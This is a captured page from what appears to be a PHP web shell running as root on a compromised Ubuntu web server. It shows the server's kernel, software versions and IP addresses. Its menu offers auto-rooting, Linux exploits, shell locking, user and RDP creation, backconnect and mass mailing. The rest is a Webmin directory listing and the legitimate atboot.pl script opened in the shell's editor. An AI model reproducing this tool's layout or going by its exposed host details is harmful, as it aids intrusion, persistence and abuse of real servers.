Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
webmin /
init /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.8
KB
-rw-r--r--
acl_security.pl
869
B
-rwxr-xr-x
atboot.pl
5.66
KB
-rwxr-xr-x
backup_config.pl
975
B
-rwxr-xr-x
cgi_args.pl
668
B
-rwxr-xr-x
change_rl.cgi
486
B
-rwxr-xr-x
config-aix
204
B
-rw-r--r--
config-cobalt-linux-2.2-4.0
242
B
-rw-r--r--
config-cobalt-linux-5.0-ALL
257
B
-rw-r--r--
config-coherent-linux
277
B
-rw-r--r--
config-corel-linux
179
B
-rw-r--r--
config-debian-linux
195
B
-rw-r--r--
config-freebsd
154
B
-rw-r--r--
config-freebsd-5.0-ALL
251
B
-rw-r--r--
config-generic-linux
238
B
-rw-r--r--
config-gentoo-linux
166
B
-rw-r--r--
config-hpux
233
B
-rw-r--r--
config-irix
186
B
-rw-r--r--
config-macos
267
B
-rw-r--r--
config-mandrake-linux
277
B
-rw-r--r--
config-msc-linux
272
B
-rw-r--r--
config-netbsd
106
B
-rw-r--r--
config-open-linux
208
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
236
B
-rw-r--r--
config-openbsd
106
B
-rw-r--r--
config-openmamba-linux
277
B
-rw-r--r--
config-openserver
208
B
-rw-r--r--
config-osf1
214
B
-rw-r--r--
config-pardus-linux
238
B
-rw-r--r--
config-redhat-linux
277
B
-rw-r--r--
config-slackware-linux
129
B
-rw-r--r--
config-solaris
195
B
-rw-r--r--
config-solaris-10-ALL
225
B
-rw-r--r--
config-suse-linux
187
B
-rw-r--r--
config-suse-linux-7.1-ALL
236
B
-rw-r--r--
config-syno-linux
247
B
-rw-r--r--
config-trustix-linux
262
B
-rw-r--r--
config-turbo-linux
257
B
-rw-r--r--
config-united-linux
197
B
-rw-r--r--
config-unixware
178
B
-rw-r--r--
config-windows
115
B
-rw-r--r--
config.info
1.31
KB
-rw-r--r--
config.info.ca
1.54
KB
-rw-r--r--
config.info.cs
1.27
KB
-rw-r--r--
config.info.de
1.46
KB
-rw-r--r--
config.info.es
1.31
KB
-rw-r--r--
config.info.eu
1.35
KB
-rw-r--r--
config.info.fa
1.78
KB
-rw-r--r--
config.info.fr
1.18
KB
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ja
1.57
KB
-rw-r--r--
config.info.ko
1.19
KB
-rw-r--r--
config.info.nl
1.25
KB
-rw-r--r--
config.info.no
1.41
KB
-rw-r--r--
config.info.pl
1.22
KB
-rw-r--r--
config.info.ru
2.05
KB
-rw-r--r--
config.info.sk
0
B
-rw-r--r--
config.info.sv
549
B
-rw-r--r--
config.info.tr
515
B
-rw-r--r--
config.info.uk
1.45
KB
-rw-r--r--
config.info.zh
388
B
-rw-r--r--
config.info.zh_TW
727
B
-rw-r--r--
create-boot.pl
424
B
-rwxr-xr-x
defaultacl
40
B
-rw-r--r--
delboot.pl
688
B
-rwxr-xr-x
delete-boot.pl
379
B
-rwxr-xr-x
delete_action.cgi
907
B
-rwxr-xr-x
edit_action.cgi
5.12
KB
-rwxr-xr-x
edit_hostconfig.cgi
6.2
KB
-rwxr-xr-x
edit_launchd.cgi
2.05
KB
-rwxr-xr-x
edit_rc.cgi
1.84
KB
-rwxr-xr-x
edit_systemd.cgi
2.4
KB
-rwxr-xr-x
edit_upstart.cgi
2.3
KB
-rwxr-xr-x
fix_action.cgi
600
B
-rwxr-xr-x
hostconfig-lib.pl
8.53
KB
-rwxr-xr-x
index.cgi
13.7
KB
-rwxr-xr-x
init-lib.pl
68
KB
-rw-r--r--
log_parser.pl
1.37
KB
-rwxr-xr-x
mass_launchd.cgi
1.94
KB
-rwxr-xr-x
mass_rcs.cgi
1.54
KB
-rwxr-xr-x
mass_start_stop.cgi
2.81
KB
-rwxr-xr-x
mass_systemd.cgi
2.68
KB
-rwxr-xr-x
mass_upstarts.cgi
1.94
KB
-rwxr-xr-x
modifyhostconfig.cgi
1.07
KB
-rwxr-xr-x
module.info
305
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
156
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
207
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
246
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
253
B
-rw-r--r--
module.info.ca
0
B
-rw-r--r--
module.info.ca.auto
174
B
-rw-r--r--
module.info.cs
0
B
-rw-r--r--
module.info.cs.auto
168
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
150
B
-rw-r--r--
module.info.de
0
B
-rw-r--r--
module.info.de.auto
148
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
277
B
-rw-r--r--
module.info.es
0
B
-rw-r--r--
module.info.es.auto
173
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
142
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
201
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
177
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
169
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
171
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
158
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
184
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
139
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
202
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
156
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
172
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
177
B
-rw-r--r--
module.info.ms
0
B
-rw-r--r--
module.info.ms.auto
142
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
141
B
-rw-r--r--
module.info.nl
0
B
-rw-r--r--
module.info.nl.auto
160
B
-rw-r--r--
module.info.no
0
B
-rw-r--r--
module.info.no.auto
148
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
163
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
199
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
208
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
176
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
249
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
172
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
158
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
154
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
270
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
218
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
283
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
200
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
195
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
140
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
149
B
-rw-r--r--
prefs.info
55
B
-rw-r--r--
rbac-mapping
80
B
-rw-r--r--
reboot.cgi
725
B
-rwxr-xr-x
save_action.cgi
6.37
KB
-rwxr-xr-x
save_hostconfig_action.cgi
4.63
KB
-rwxr-xr-x
save_launchd.cgi
1.72
KB
-rwxr-xr-x
save_local.cgi
706
B
-rwxr-xr-x
save_rc.cgi
2.48
KB
-rwxr-xr-x
save_services.cgi
1.44
KB
-rwxr-xr-x
save_startscript.cgi
1.9
KB
-rwxr-xr-x
save_systemd.cgi
2.03
KB
-rwxr-xr-x
save_upstart.cgi
2.15
KB
-rwxr-xr-x
shutdown.cgi
591
B
-rwxr-xr-x
start_stop.cgi
890
B
-rwxr-xr-x
syslog_logs.pl
350
B
-rwxr-xr-x
uninstall.pl
1.91
KB
-rwxr-xr-x
updateboot.pl
936
B
-rwxr-xr-x
win32.pl
1.93
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : atboot.pl
#!/usr/bin/perl # atboot.pl # Called by setup.sh to have webmin started at boot time $no_acl_check++; require './init-lib.pl'; $product = $ARGV[0] || "webmin"; $ucproduct = ucfirst($product); $< == 0 || die "atboot.pl must be run as root"; my $kill = &has_command("kill"); if ($init_mode eq "osx") { # Darwin System &enable_at_boot($product, "Webmin administration server", "$config_directory/.start-init >/dev/null 2>&1 </dev/null", "$config_directory/.stop-init"); } elsif ($init_mode eq "local") { # Add to the boot time rc script $lref = &read_file_lines($config{'local_script'}); for($i=0; $i<@$lref && $lref->[$i] !~ /^exit\s/; $i++) { } splice(@$lref, $i, 0, "$config_directory/.start-init >/dev/null 2>&1 </dev/null # Start $ucproduct"); &flush_file_lines(); } elsif ($init_mode eq "init") { # Create a bootup action, if missing @start = &get_start_runlevels(); $fn = &action_filename($product); if (!-r $fn) { &open_tempfile(ACTION,">$fn"); $desc = "Start/stop $ucproduct"; &print_tempfile(ACTION, "#!/bin/sh\n"); $start_order = "9" x $config{'order_digits'}; $stop_order = "9" x $config{'order_digits'}; if ($config{'chkconfig'}) { # Redhat-style description: and chkconfig: lines &print_tempfile(ACTION, "# description: $desc\n"); &print_tempfile(ACTION, "# chkconfig: $config{'chkconfig'} ", "$start_order $stop_order\n"); } elsif ($config{'init_info'}) { # Suse-style init info section &print_tempfile(ACTION, "### BEGIN INIT INFO\n", "# Provides: $product\n", "# Required-Start: \$network \$syslog\n", "# Required-Stop: \$network\n", "# Default-Start: ",join(" ", @start),"\n", "# Default-Stop:\n", "# Description: $desc\n", "### END INIT INFO\n"); } else { # Just description in a comment &print_tempfile(ACTION, "# $desc\n"); } &print_tempfile(ACTION, "\n"); &print_tempfile(ACTION, "case \"\$1\" in\n"); &print_tempfile(ACTION, "'start')\n"); &print_tempfile(ACTION, "\t$config_directory/.start-init >/dev/null 2>&1 </dev/null\n"); &print_tempfile(ACTION, "\tRETVAL=\$?\n"); if ($config{'subsys'}) { &print_tempfile(ACTION, "\tif [ \"\$RETVAL\" = \"0\" ]; then\n"); &print_tempfile(ACTION, "\t\ttouch $config{'subsys'}/$product\n"); &print_tempfile(ACTION, "\tfi\n"); } &print_tempfile(ACTION, "\t;;\n"); &print_tempfile(ACTION, "'stop')\n"); &print_tempfile(ACTION, "\t$config_directory/.stop-init\n"); &print_tempfile(ACTION, "\tRETVAL=\$?\n"); if ($config{'subsys'}) { &print_tempfile(ACTION, "\tif [ \"\$RETVAL\" = \"0\" ]; then\n"); &print_tempfile(ACTION, "\t\trm -f $config{'subsys'}/$product\n"); &print_tempfile(ACTION, "\tfi\n"); } &print_tempfile(ACTION, "\t;;\n"); &print_tempfile(ACTION, "'status')\n"); &print_tempfile(ACTION, "\tpidfile=`grep \"^pidfile=\" $config_directory/miniserv.conf | sed -e 's/pidfile=//g'`\n"); &print_tempfile(ACTION, "\tif [ -s \$pidfile ]; then\n"); &print_tempfile(ACTION, "\t\tpid=`cat \$pidfile`\n"); &print_tempfile(ACTION, "\t\t$kill -0 \$pid >/dev/null 2>&1\n"); &print_tempfile(ACTION, "\t\tif [ \"\$?\" = \"0\" ]; then\n"); &print_tempfile(ACTION, "\t\t\techo \"$product (pid \$pid) is running\"\n"); &print_tempfile(ACTION, "\t\t\tRETVAL=0\n"); &print_tempfile(ACTION, "\t\telse\n"); &print_tempfile(ACTION, "\t\t\techo \"$product is stopped\"\n"); &print_tempfile(ACTION, "\t\t\tRETVAL=1\n"); &print_tempfile(ACTION, "\t\tfi\n"); &print_tempfile(ACTION, "\telse\n"); &print_tempfile(ACTION, "\t\techo \"$product is stopped\"\n"); &print_tempfile(ACTION, "\t\tRETVAL=1\n"); &print_tempfile(ACTION, "\tfi\n"); &print_tempfile(ACTION, "\t;;\n"); &print_tempfile(ACTION, "'restart')\n"); &print_tempfile(ACTION, "\t$config_directory/.stop-init ; $config_directory/.start-init\n"); &print_tempfile(ACTION, "\tRETVAL=\$?\n"); &print_tempfile(ACTION, "\t;;\n"); &print_tempfile(ACTION, "*)\n"); &print_tempfile(ACTION, "\techo \"Usage: \$0 { start | stop }\"\n"); &print_tempfile(ACTION, "\tRETVAL=1\n"); &print_tempfile(ACTION, "\t;;\n"); &print_tempfile(ACTION, "esac\n"); &print_tempfile(ACTION, "exit \$RETVAL\n"); &close_tempfile(ACTION); chmod(0755, $fn); } # Add whatever links are needed to start at boot &enable_at_boot($product); print STDERR "Created init script $fn\n"; } elsif ($init_mode eq "win32") { # Create win32 service $perl_path = &get_perl_path(); &enable_at_boot($product, $ucproduct, $perl_path." "."e_path("$root_directory/miniserv.pl")." "."e_path("$config_directory/miniserv.conf")); } elsif ($init_mode eq "systemd") { # Create systemd &enable_at_boot( $product, "$ucproduct server daemon", "$root_directory/miniserv.pl $config_directory/miniserv.conf", "$kill \$MAINPID", undef, { 'pidfile' => "$var_directory/miniserv.pid", 'opts' => { 'env' => '"PERLLIB=' . $root_directory . '"', 'stop' => "$kill \$MAINPID", 'reload' => "$kill -HUP \$MAINPID", 'type' => 'forking', 'restart' => 'always', 'restartsec' => '2s', 'timeout' => '15s', }}, ); } elsif ($init_mode eq "rc" || $init_mode eq "upstart") { # Create RC or upstart script &enable_at_boot($product, $ucproduct, "$config_directory/.start-init", "$config_directory/.stop-init", undef, { 'fork' => 1, 'pidfile' => $var_directory."/miniserv.pid" }); } elsif ($init_mode eq "launchd") { # Create launchd script &create_launchd_agent(&launchd_name($product), "$config_directory/.start-init --nofork", 1); } $config{'atboot_product'} = $product; &save_module_config();
Close